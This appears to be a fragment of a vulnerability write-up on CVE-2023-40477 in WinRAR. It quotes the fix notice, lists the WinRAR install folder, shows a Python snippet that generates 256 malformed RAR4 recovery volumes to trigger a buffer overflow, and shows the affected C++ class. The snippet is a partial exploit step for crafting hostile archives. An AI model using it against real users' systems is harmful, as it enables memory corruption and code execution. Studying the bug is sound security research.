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a. Critical Bug: CVE-2023-40477. The vulnerability allows remote attackers to execute arbitrary code on affected installations. User interaction is required to exploit this vulnerability. This is fixed in the RAR4 recovery volume processing code.

We would like to thank goodbyeselene in collaboration with Trend Micro Zero Day Initiative for reporting this bug.
www.zerodayinitiative.com/advisories/ZDI-23-1152/

Name	Date modified	Type	Size
 7za.dll	6/23/2023 6:07 PM	Application extens...	229 KB
 Default.SFX	8/1/2023 12:26 PM	SFX File	319 KB
 Default64.SFX	8/1/2023 12:26 PM	SFX File	372 KB
 Description	1/4/2022 1:48 PM	ION File	2 KB
 License.txt	5/22/2014 7:31 PM	Text Document	7 KB
 Order.htm	8/1/2023 3:00 PM	HTML Document	4 KB
 Rar.exe	8/1/2023 12:26 PM	Application	630 KB
 Rar.txt	6/24/2023 1:39 PM	Text Document	110 KB
 RarExt.dll	8/1/2023 12:26 PM	Application extens...	666 KB
 RarExt32.dll	8/1/2023 12:26 PM	Application extens...	574 KB
 RarExtInstaller.exe	8/1/2023 12:26 PM	Application	181 KB
 RarExtLogo.altform-unplated_targetsize-...	10/21/2021 7:36 PM	PNG File	3 KB
 RarExtLogo.altform-unplated_targetsize-...	10/21/2021 7:36 PM	PNG File	5 KB
 RarExtLogo.altform-unplated_targetsize-...	10/21/2021 8:54 PM	PNG File	7 KB
 RarExtPackage.msix	8/1/2023 12:25 PM	MSIX File	23 KB
 RarFiles.lst	1/26/2017 7:02 PM	MASM Listing	2 KB
 ReadMe.txt	7/14/2021 6:18 PM	Text Document	2 KB
 Resources.pri	8/1/2023 12:25 PM	PRI File	2 KB
 Uninstall.exe	8/1/2023 3:26 PM	Application	438 KB
 Uninstall.lst	8/1/2023 12:26 PM	MASM Listing	1 KB
 UnRAR.exe	8/1/2023 12:26 PM	Application	430 KB
 WhatsNew.txt	8/1/2023 11:19 AM	Text Document	106 KB
 WinCon.SFX	8/1/2023 12:26 PM	SFX File	288 KB
 WinCon64.SFX	8/1/2023 12:26 PM	SFX File	342 KB
 WinRAR.chm	8/1/2023 12:26 PM	Compiled HTML H...	318 KB
 WinRAR.exe	8/1/2023 3:26 PM	Application	2,511 KB
 Zip.SFX	8/1/2023 12:26 PM	SFX File	274 KB
 Zip64.SFX	8/1/2023 12:26 PM	SFX File	313 KB



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```
# 1. re-generate malformed recovery vols.  
data = open('%s01.rev' % ARCHIVE_NAME, 'rb').read() # just use  
the first and malform it up.  
names = ['%s%s.rev' % (ARCHIVE_NAME, str(i).zfill(2)) for i in  
range(256)]  
# "destroy" the P[i]'s  
datas = [data[:-7] + bytes([0xf0, 0x00, i]) + calc_crc(data[:-7]  
+ bytes([0xf0, 0x00, i])) for i in range(256)]  
  
# 2. overwrite malformed recovery vols.  
for i in range(256):  
    fname = names[i]  
    data = datas[i]  
    open(fname, 'wb').write(data)
```



```
// RecVolume3 struct - that gets overflowed
class RecVolumes3
{
private:
    File *SrcFile[256]; // overflow in here with File* pointers.
    Array Buf;

#ifdef RAR_SMP
    ThreadPool *RSThreadPool;
#endif

public:
    RecVolumes3(CommandData *Cmd,bool TestOnly);
    ~RecVolumes3();
    void Make(CommandData *Cmd,wchar *ArcName);
    bool Restore(CommandData *Cmd,const wchar *Name,bool Silent);
    void Test(CommandData *Cmd,const wchar *Name);
};
...
...
// Array template class:
template class Array
{
private:
    T *Buffer;
    size_t BufSize;
    size_t AllocSize;
    size_t MaxSize;
public:
    Array();
    Array(size_t Size);
    Array(const Array &Src); // Copy constructor.
    ~Array();
```


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